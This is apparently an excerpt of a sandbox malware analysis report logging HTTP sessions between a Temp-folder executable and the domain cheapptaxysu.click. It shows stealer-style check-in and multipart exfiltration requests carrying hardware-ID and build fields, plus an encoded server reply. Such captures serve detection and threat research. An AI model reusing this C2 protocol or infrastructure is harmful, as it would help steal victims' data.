2024-12-19 13:10:26 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-12-19 13:10:26 UTC	1369	IN	Data Raw: 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form ac
2024-12-19 13:10:26 UTC	1009	IN	Data Raw: 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 Data Ascii: ass="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Per
2024-12-19 13:10:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49801	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:27 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: cheapptaxysu.click
2024-12-19 13:10:27 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CZJvss--&j=
2024-12-19 13:10:28 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a44qqcqiq9ekoq9q0hcdfjj6rp; expires=Mon, 14 Apr 2025 06:57:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GVK4I1rZlbsCa2oKCsb48vY4LzU3oMxhyS1agJQswPdEJaapxN%2FWbXV7xdO3fu3sSEhDtKbpZ54CethWdjDyL9fOTJ305oDCtxpk7ItSF%2BH9VvH2PqkPVGrNNPapbm2%2F9goZ3eo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a2080d0843fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1624&rtt_var=618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1033&delivery_rate=1755862&cwnd=217&unsent_bytes=0&cid=2864658f06750861&ts=1048&x=0"
2024-12-19 13:10:28 UTC	240	IN	Data Raw: 31 34 38 30 0d 0a 51 77 38 49 6c 4e 78 4a 2f 34 2f 59 55 51 6f 76 54 4d 37 32 53 41 31 52 6e 41 2b 31 42 77 49 47 4a 49 38 59 74 44 36 39 5a 47 59 34 4c 58 36 32 35 6e 33 54 72 61 73 30 4b 42 55 34 76 49 4d 74 49 58 50 39 61 35 63 39 5a 47 64 49 2f 48 32 59 48 4d 73 4a 52 48 6c 70 61 66 69 76 4c 4e 4f 74 76 53 6b 6f 46 52 65 31 31 43 31 6a 63 36 59 74 30 47 31 67 5a 30 6a 74 65 64 39 52 7a 51 67 46 4b 32 4e 76 2f 4c 6b 71 6d 2b 36 30 50 47 39 4b 4b 61 2b 63 4a 6d 51 38 39 47 4b 58 4b 79 42 6a 58 71 30 69 6c 6e 50 59 45 41 63 4f 62 6e 76 2f 2f 6a 54 54 39 50 6f 30 5a 41 31 32 37 4a 63 74 62 7a 33 36 61 39 35 76 61 6d 35 41 37 48 7a 65 54 74 51 43 44 69 74 74 62 50 32 7a 49 34 2f 6a 76 6a 74 6b 54 43 4f 76 31 47 Data Ascii: 1480Qw8IlNxJ/4/YUQovTM72SA1RnA+1BwIGJI8YtD69ZGY4LX625n3Tras0KBU4vIMtIXP9a5c9ZGdI/H2YHMsJRHlpafivLNOtvSkoFRe11C1jc6Yt0G1gZ0jted9RzQgFK2Nv/Lkqm+60PG9KKa+cJmQ89GKXKyBjXq0ilnPYEAcObnv//jTT9Po0ZA127Jctbz36a95vam5A7HzeTtQCDittbP2zI4/jvjtkTCOv1G
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 51 76 4e 4f 59 74 6a 79 55 7a 56 6b 58 38 61 38 4e 52 7a 77 42 45 50 69 4e 7a 74 72 6b 6e 33 62 58 36 4f 32 52 44 4b 36 2b 62 4c 57 34 7a 37 47 4c 58 5a 6d 68 73 51 75 64 31 32 56 50 52 44 41 4d 70 5a 47 33 35 75 53 4f 62 34 72 6c 7a 4a 67 30 70 74 4e 52 79 4c 78 50 75 62 74 52 78 62 58 55 47 38 6a 54 50 48 4e 67 4b 52 48 6b 74 62 50 69 2f 4a 70 33 2f 73 6a 68 6a 53 44 79 6e 6e 53 64 69 4d 2f 4e 6e 32 47 5a 67 59 30 7a 6e 64 64 78 59 30 67 73 43 49 57 30 71 75 50 34 73 68 61 33 69 63 30 74 49 50 71 75 59 50 43 30 4a 76 6e 4b 5a 66 43 42 6a 53 71 30 69 6c 6c 54 61 42 51 63 71 59 6d 6e 2b 74 54 6d 64 2f 37 77 2b 62 56 38 6f 71 5a 6f 67 62 43 48 30 59 39 46 6d 61 57 39 50 36 48 33 53 48 4a 46 47 41 7a 6b 74 4d 72 61 66 4a 70 62 68 73 43 52 6f 44 54 48 69 6a Data Ascii: QvNOYtjyUzVkX8a8NRzwBEPiNztrkn3bX6O2RDK6+bLW4z7GLXZmhsQud12VPRDAMpZG35uSOb4rlzJg0ptNRyLxPubtRxbXUG8jTPHNgKRHktbPi/Jp3/sjhjSDynnSdiM/Nn2GZgY0znddxY0gsCIW0quP4sha3ic0tIPquYPC0JvnKZfCBjSq0illTaBQcqYmn+tTmd/7w+bV8oqZogbCH0Y9FmaW9P6H3SHJFGAzktMrafJpbhsCRoDTHij
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 79 5a 39 46 71 62 57 67 47 6f 7a 72 52 52 4a 39 65 52 41 74 75 66 76 57 30 61 61 6a 75 74 44 31 76 57 32 36 7a 32 6a 4d 76 4e 50 49 74 6a 79 56 74 5a 55 37 72 61 4e 6c 52 33 41 67 4b 4c 6d 68 6c 2f 72 34 72 6b 4f 69 2b 4f 47 4e 4f 49 36 69 47 49 47 38 37 2b 32 7a 64 62 79 41 71 42 75 70 69 6c 67 53 66 4e 78 4d 71 4c 31 2f 31 73 43 57 61 2b 2f 6f 73 4a 6c 52 75 71 35 68 71 4e 33 50 7a 5a 64 4a 67 62 32 56 4d 34 33 2f 63 55 4e 63 49 42 7a 4e 69 62 76 61 79 49 35 66 67 74 44 64 67 52 43 57 6e 6b 69 70 75 4f 62 34 6a 6c 32 4a 34 4a 42 36 74 54 74 46 51 30 67 6c 47 46 47 35 6b 2b 4c 6b 39 33 66 4c 30 4b 69 68 4b 49 75 7a 4d 61 6d 4d 36 2f 6d 62 64 59 57 42 6a 53 2b 68 35 30 56 2f 53 41 51 34 76 61 6d 37 36 74 79 61 62 37 62 30 33 62 56 38 72 70 5a 67 6d 4c 33 Data Ascii: yZ9FqbWgGozrRRJ9eRAtufvW0aajutD1vW26z2jMvNPItjyVtZU7raNlR3AgKLmhl/r4rkOi+OGNOI6iGIG87+2zdbyAqBupilgSfNxMqL1/1sCWa+/osJlRuq5hqN3PzZdJgb2VM43/cUNcIBzNibvayI5fgtDdgRCWnkipuOb4jl2J4JB6tTtFQ0glGFG5k+Lk93fL0KihKIuzMamM6/mbdYWBjS+h50V/SAQ4vam76tyab7b03bV8rpZgmL3
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 65 69 35 39 42 75 70 32 6c 67 53 66 44 77 30 7a 59 32 54 2f 73 79 32 56 36 72 51 2b 59 30 73 6c 71 35 4d 73 59 6a 76 7a 61 4e 52 6b 5a 47 35 55 37 6e 48 63 55 64 56 47 53 6d 46 71 63 72 62 6d 61 37 72 68 6b 79 4e 7a 58 7a 6a 73 69 32 52 32 63 2f 6c 68 6c 7a 30 67 5a 30 6e 6b 64 64 35 55 30 41 6b 41 4c 32 74 73 2b 37 73 6b 6c 2f 2b 79 50 57 56 47 49 61 65 47 4b 6d 49 33 38 6d 6e 66 62 6d 6f 6b 43 4b 31 39 7a 68 79 48 52 6a 45 73 59 6d 72 31 71 47 75 43 6f 36 4e 7a 62 30 46 75 39 4e 51 6d 59 54 50 78 59 64 74 75 61 47 56 4b 34 33 33 54 56 64 63 4f 46 69 42 70 59 76 65 77 4a 4a 7a 70 76 7a 5a 73 53 69 71 71 6d 32 6f 68 63 2f 6c 31 6c 7a 30 67 53 32 48 59 4f 50 64 6d 6e 78 6c 4b 4f 43 31 74 2b 76 35 7a 33 65 47 35 50 32 42 43 4b 4b 57 59 49 47 59 34 38 6d 62 Data Ascii: ei59Bup2lgSfDw0zY2T/sy2V6rQ+Y0slq5MsYjvzaNRkZG5U7nHcUdVGSmFqcrbma7rhkyNzXzjsi2R2c/lhlz0gZ0nkdd5U0AkAL2ts+7skl/+yPWVGIaeGKmI38mnfbmokCK19zhyHRjEsYmr1qGuCo6Nzb0Fu9NQmYTPxYdtuaGVK433TVdcOFiBpYvewJJzpvzZsSiqqm2ohc/l1lz0gS2HYOPdmnxlKOC1t+v5z3eG5P2BCKKWYIGY48mb
2024-12-19 13:10:28 UTC	909	IN	Data Raw: 45 50 69 65 39 64 61 7a 51 45 4e 4d 32 4e 6e 2b 62 59 6a 6c 4f 79 2b 4e 6d 56 4c 49 71 61 56 4c 57 45 39 39 69 32 5a 4a 57 64 38 42 72 55 36 39 30 7a 45 46 42 49 73 54 47 66 35 2f 6a 54 54 39 50 6f 30 5a 41 31 32 37 4a 30 34 61 7a 37 73 5a 4e 42 72 62 32 64 55 37 48 66 64 54 74 67 4a 41 43 5a 68 62 50 6d 34 4b 70 6a 6e 74 6a 52 74 52 69 47 67 31 47 51 76 4e 4f 59 74 6a 79 56 4f 62 31 58 36 65 64 68 58 79 52 31 45 50 69 4e 7a 74 72 6b 6e 33 62 58 36 4d 47 4e 47 4b 71 79 59 4b 6d 73 2b 2f 6e 2f 59 59 6d 64 74 54 66 39 77 30 56 76 55 44 67 38 75 61 33 6a 36 73 44 6d 59 2f 36 68 7a 4a 67 30 70 74 4e 52 79 4c 77 58 35 66 63 64 6d 49 6c 56 51 37 6d 7a 64 55 64 4e 47 47 32 39 30 4b 76 47 79 61 38 57 74 76 44 78 68 54 69 47 74 6e 53 5a 69 4e 76 64 6f 31 6d 4e 6b Data Ascii: EPie9dazQENM2Nn+bYjlOy+NmVLIqaVLWE99i2ZJWd8BrU690zEFBIsTGf5/jTT9Po0ZA127J04az7sZNBrb2dU7HfdTtgJACZhbPm4KpjntjRtRiGg1GQvNOYtjyVOb1X6edhXyR1EPiNztrkn3bX6MGNGKqyYKms+/n/YYmdtTf9w0VvUDg8ua3j6sDmY/6hzJg0ptNRyLwX5fcdmIlVQ7mzdUdNGG290KvGya8WtvDxhTiGtnSZiNvdo1mNk
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 33 34 39 63 0d 0a 4b 57 31 73 2f 4c 6f 6f 6c 4f 36 39 4f 6d 35 47 4c 61 61 62 4c 57 6b 33 2f 6d 62 51 61 32 5a 68 54 65 51 36 6d 42 7a 59 48 6b 52 35 4c 55 7a 56 72 44 6d 76 34 37 6b 6f 4b 46 4a 67 74 64 51 74 59 33 4f 6d 4c 64 78 74 62 33 5a 44 35 48 4c 53 56 64 38 43 44 69 78 71 61 76 4f 7a 4c 70 6e 6a 76 6a 52 6f 51 53 47 72 6e 43 56 72 4d 2f 45 74 6d 53 56 6e 66 41 61 31 4f 76 5a 58 79 53 63 4b 4b 6e 38 71 36 66 41 79 33 65 71 32 63 7a 41 4e 49 4b 57 56 49 6d 45 2f 39 6d 6e 46 5a 57 74 74 53 65 78 31 31 6c 2f 65 44 41 77 7a 61 32 72 39 74 69 79 56 36 62 51 68 61 55 4a 75 34 74 51 74 64 33 4f 6d 4c 65 5a 7a 5a 32 4e 4a 72 31 50 52 52 39 34 4d 42 79 70 68 4b 75 6e 77 4d 74 33 71 74 6e 4d 77 44 53 4f 67 6d 53 35 39 50 2f 35 74 33 6d 4a 71 64 6b 6e 69 64 Data Ascii: 349cKW1s/LoolO69Om5GLaabLWk3/mbQa2ZhTeQ6mBzYHkR5LUzVrDmv47koKFJgtdQtY3OmLdxtb3ZD5HLSVd8CDixqavOzLpnjvjRoQSGrnCVrM/EtmSVnfAa1OvZXyScKKn8q6fAy3eq2czANIKWVImE/9mnFZWttSex11l/eDAwza2r9tiyV6bQhaUJu4tQtd3OmLeZzZ2NJr1PRR94MByphKunwMt3qtnMwDSOgmS59P/5t3mJqdknid
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 42 43 6a 4e 73 59 50 71 2f 4c 4a 72 6d 71 44 68 36 52 69 61 76 6d 69 4a 6d 4d 2f 42 74 31 6d 68 67 4a 41 69 74 66 63 34 63 68 30 59 68 41 6e 70 38 2f 50 77 49 69 76 75 77 4e 47 52 62 4a 61 32 58 50 47 49 6a 76 69 4f 58 64 47 64 31 42 72 56 73 78 6b 76 59 47 55 6f 34 4c 57 33 36 2f 6e 50 64 35 72 55 39 5a 55 59 71 70 5a 45 69 62 44 62 37 5a 39 74 70 59 57 78 50 35 33 2f 54 57 74 55 46 43 69 35 73 5a 76 4b 33 4a 5a 53 74 39 48 4e 76 56 57 37 30 31 42 78 2f 4e 4f 5a 67 78 79 64 53 5a 31 66 38 62 39 74 4d 32 55 51 72 49 6d 46 70 38 37 6b 37 33 66 4c 30 4b 69 68 4b 49 75 7a 4d 61 6d 38 33 38 6d 37 51 61 32 39 70 53 65 70 78 32 56 62 52 46 41 73 6b 5a 57 62 2b 73 7a 6d 58 35 36 67 36 59 55 41 67 70 49 59 70 4c 33 32 2b 61 73 38 6c 4f 43 52 30 35 33 6e 61 53 74 Data Ascii: BCjNsYPq/LJrmqDh6RiavmiJmM/Bt1mhgJAitfc4ch0YhAnp8/PwIivuwNGRbJa2XPGIjviOXdGd1BrVsxkvYGUo4LW36/nPd5rU9ZUYqpZEibDb7Z9tpYWxP53/TWtUFCi5sZvK3JZSt9HNvVW701Bx/NOZgxydSZ1f8b9tM2UQrImFp87k73fL0KihKIuzMam838m7Qa29pSepx2VbRFAskZWb+szmX56g6YUAgpIYpL32+as8lOCR053naSt
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 61 6c 54 49 73 43 79 4a 36 72 51 31 61 41 31 67 37 4a 74 71 4e 77 71 2b 4a 5a 64 61 4c 69 52 65 72 53 4b 57 61 64 77 49 43 69 5a 37 65 37 75 64 50 49 76 6e 6f 58 46 4f 53 6a 2b 6c 67 69 64 39 63 37 41 74 30 53 55 34 4e 41 69 74 66 73 63 63 68 31 5a 57 65 6a 67 35 6f 65 35 35 67 71 4f 6a 63 33 34 4e 64 76 37 61 61 6e 31 7a 70 69 32 51 5a 6e 4a 32 51 4f 35 73 31 52 76 68 4f 43 51 71 65 32 76 37 74 53 65 6a 30 36 38 77 5a 6b 4d 70 75 6f 56 71 49 58 50 78 4c 59 39 63 49 43 77 47 30 6a 53 57 52 4a 39 65 52 42 52 75 5a 50 69 35 50 59 79 67 6d 6a 68 2b 54 43 4f 6e 6d 47 68 75 50 75 35 71 6c 79 73 67 59 67 61 31 4b 70 67 63 32 78 64 45 65 54 30 34 72 65 74 34 79 72 33 6f 4c 43 5a 55 62 72 72 55 63 6a 31 39 76 6e 2b 58 50 53 41 6a 52 66 39 6f 30 46 2f 4a 42 55 4d Data Ascii: alTIsCyJ6rQ1aA1g7JtqNwq+JZdaLiRerSKWadwICiZ7e7udPIvnoXFOSj+lgid9c7At0SU4NAitfscch1ZWejg5oe55gqOjc34Ndv7aan1zpi2QZnJ2QO5s1RvhOCQqe2v7tSej068wZkMpuoVqIXPxLY9cICwG0jSWRJ9eRBRuZPi5PYygmjh+TCOnmGhuPu5qlysgYga1Kpgc2xdEeT04ret4yr3oLCZUbrrUcj19vn+XPSAjRf9o0F/JBUM
2024-12-19 13:10:28 UTC	1369	IN	Data Raw: 72 68 72 78 62 2f 30 63 32 78 63 62 76 54 45 65 44 52 6d 72 54 71 48 4e 33 38 71 58 36 31 73 6c 67 53 4e 53 45 51 7a 4c 54 4b 32 2b 53 69 50 2f 37 77 77 66 6b 35 70 6b 71 6f 4d 62 44 54 34 62 74 6c 79 63 53 5a 70 37 6e 48 61 55 4e 67 51 4f 68 39 34 61 66 69 77 4c 49 76 38 2b 6e 30 6f 51 6d 37 30 72 57 70 2b 4f 66 6b 68 6e 79 6c 78 64 30 6a 6d 62 4e 45 63 34 45 68 45 4f 53 30 79 74 6f 73 6f 6b 2b 4f 39 4a 58 6b 41 43 4b 2b 54 4c 47 77 39 36 58 79 58 4b 79 42 69 42 72 55 6f 6d 42 7a 62 46 30 52 35 50 54 69 74 36 33 6a 4b 76 65 67 73 4a 6c 52 75 75 74 52 79 50 48 32 2b 66 35 63 39 49 43 4e 49 34 48 76 56 55 74 77 55 46 69 64 75 66 50 58 35 46 61 50 49 74 7a 35 74 51 79 6d 53 71 67 74 6c 49 2f 4e 69 30 46 74 65 55 31 66 71 61 70 52 36 33 42 41 48 59 53 4d 71 Data Ascii: rhrxb/0c2xcbvTEeDRmrTqHN38qX61slgSNSEQzLTK2+SiP/7wwfk5pkqoMbDT4btlycSZp7nHaUNgQOh94afiwLIv8+n0oQm70rWp+Ofkhnylxd0jmbNEc4EhEOS0ytosok+O9JXkACK+TLGw96XyXKyBiBrUomBzbF0R5PTit63jKvegsJlRuutRyPH2+f5c9ICNI4HvVUtwUFidufPX5FaPItz5tQymSqgtlI/Ni0FteU1fqapR63BAHYSMq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49808	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:30 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UCL58QGTQSZAOQ Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18134 Host: cheapptaxysu.click
2024-12-19 13:10:30 UTC	15331	OUT	Data Raw: 2d 2d 55 43 4c 35 38 51 47 54 51 53 5a 41 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 43 4c 35 38 51 47 54 51 53 5a 41 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 43 4c 35 38 51 47 54 51 53 5a 41 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 55 43 4c 35 38 51 47 54 51 53 5a 41 4f Data Ascii: --UCL58QGTQSZAOQContent-Disposition: form-data; name="hwid"604F8F8B4F114B70AC8923850305D13E--UCL58QGTQSZAOQContent-Disposition: form-data; name="pid"2--UCL58QGTQSZAOQContent-Disposition: form-data; name="lid"CZJvss----UCL58QGTQSZAO
2024-12-19 13:10:30 UTC	2803	OUT	Data Raw: 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-19 13:10:31 UTC	1142	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k5vgjeq6frualqb9989vmj0rhi; expires=Mon, 14 Apr 2025 06:57:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FmQIpBlSRAK0GOjAnonmSN1o%2BeeVHWdkIDJ4B%2Fp3m2PtPH5KuHHPlPVEMh9bsYCsB5%2BKDQPR3kuclPXXmGDhoUDdaaZR%2Bigo%2BoTk3eE62I1B%2FS52SKBgRXgtJQd8v8V%2F4ngmjfc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a218c806c47f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1477&rtt_var=561&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19183&delivery_rate=1937624&cwnd=252&unsent_bytes=0&cid=36c0cc89b0cf806b&ts=1024&x=0"
2024-12-19 13:10:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 13:10:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49817	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:32 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UNYQ3QX765RHAY6 Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8761 Host: cheapptaxysu.click
2024-12-19 13:10:32 UTC	8761	OUT	Data Raw: 2d 2d 55 4e 59 51 33 51 58 37 36 35 52 48 41 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 4e 59 51 33 51 58 37 36 35 52 48 41 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 4e 59 51 33 51 58 37 36 35 52 48 41 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 55 4e 59 51 33 51 58 37 36 35 Data Ascii: --UNYQ3QX765RHAY6Content-Disposition: form-data; name="hwid"604F8F8B4F114B70AC8923850305D13E--UNYQ3QX765RHAY6Content-Disposition: form-data; 